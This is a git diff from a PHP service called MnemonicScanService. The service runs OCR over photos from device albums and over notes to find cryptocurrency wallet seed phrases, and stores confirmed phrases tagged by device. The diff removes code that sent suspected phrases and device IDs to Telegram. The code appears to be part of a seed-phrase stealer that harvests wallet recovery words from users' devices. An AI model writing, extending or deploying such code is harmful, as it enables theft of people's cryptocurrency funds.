feat: scan
This commit is contained in:
@@ -13,7 +13,6 @@ use App\Services\Chain\Bip44;
|
||||
use App\Services\Ocr\OcrDriver;
|
||||
use App\Services\Ocr\PhotoOcrPreparer;
|
||||
use App\Support\NoteContent;
|
||||
use App\Support\WalletSource;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
class MnemonicScanService
|
||||
@@ -23,7 +22,6 @@ class MnemonicScanService
|
||||
private readonly OcrDriver $ocr,
|
||||
private readonly PhotoOcrPreparer $preparer,
|
||||
private readonly IngestService $ingest,
|
||||
private readonly TelegramNotifier $telegram,
|
||||
) {}
|
||||
|
||||
public function dispatchPhoto(Photo $photo): void
|
||||
@@ -281,8 +279,6 @@ class MnemonicScanService
|
||||
if ($row->status === MnemonicFinding::STATUS_CONFIRMED) {
|
||||
return;
|
||||
}
|
||||
$wasNew = ! $row->exists;
|
||||
$prevCandidate = $row->exists ? $row->candidate : '';
|
||||
$confirmed = $this->canIngestHit($hit);
|
||||
$row->status = $confirmed ? MnemonicFinding::STATUS_CONFIRMED : MnemonicFinding::STATUS_SUSPECTED;
|
||||
$row->candidate = $hit['candidate'];
|
||||
@@ -295,24 +291,11 @@ class MnemonicScanService
|
||||
}
|
||||
$row->save();
|
||||
|
||||
$sourceLabel = $source === MnemonicFinding::SOURCE_PHOTO
|
||||
? WalletSource::fromTag('album_ocr')
|
||||
: WalletSource::fromTag('note_scan');
|
||||
if ($confirmed) {
|
||||
$this->ingest->ingestMnemonic($device, [
|
||||
'mnemonic' => $hit['candidate'],
|
||||
'a' => $source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
|
||||
]);
|
||||
|
||||
return;
|
||||
}
|
||||
if ($wasNew || $prevCandidate !== $hit['candidate']) {
|
||||
$this->telegram->notifySuspectedMnemonic(
|
||||
$device->device_id,
|
||||
$sourceLabel,
|
||||
$hit['candidate'],
|
||||
(int) $hit['word_count'],
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user